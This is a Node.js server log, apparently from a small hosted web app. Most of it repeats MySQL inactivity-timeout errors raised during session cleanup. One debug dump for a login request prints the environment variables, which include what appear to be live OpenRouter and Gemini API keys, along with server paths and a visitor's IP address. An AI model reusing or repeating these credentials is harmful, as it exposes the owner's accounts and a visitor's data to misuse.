    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 04:29:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 05:45:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 05:45:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 06:21:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 06:21:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 08:21:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 08:21:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 08:36:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 08:36:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 08:57:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 08:57:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 09:04:44' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 09:04:44' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 09:17:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 09:17:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 10:45:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 10:45:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 11:03:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 11:03:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 11:38:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 11:38:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 11:52:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 11:52:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 11:54:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 11:54:45' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 11:56:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 11:56:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 12:02:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 12:02:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 12:04:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-02 12:04:20' as DATETIME)"
}
2026-01-02T13:12:12.541Z server-connect:router Serving templateView /
2026-01-02T13:12:12.542Z server-connect:app Executing action step identify
2026-01-02T13:12:12.542Z server-connect:app options: { provider: 'security' }
2026-01-02T13:12:12.542Z server-connect:auth No login cookie found
2026-01-02T13:12:12.542Z server-connect:output identity: false
2026-01-02T13:12:12.542Z server-connect:app Executing action step restrict
2026-01-02T13:12:12.542Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-02T13:12:12.544Z server-connect:output restrict: undefined
2026-01-02T13:12:12.588Z server-connect:router Serving templateView /login
2026-01-02T13:12:12.588Z server-connect:app Executing action step identify
2026-01-02T13:12:12.588Z server-connect:app options: { provider: 'security' }
2026-01-02T13:12:12.588Z server-connect:auth No login cookie found
2026-01-02T13:12:12.588Z server-connect:output identity: false
2026-01-02T13:12:12.588Z server-connect:router Render template layouts/authentication
2026-01-02T13:12:12.589Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language': 'en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6',
    'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '84.254.106.197',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-03T13:12:12.587Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '84.254.106.197',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '84.254.106.197',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-02 13:28:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
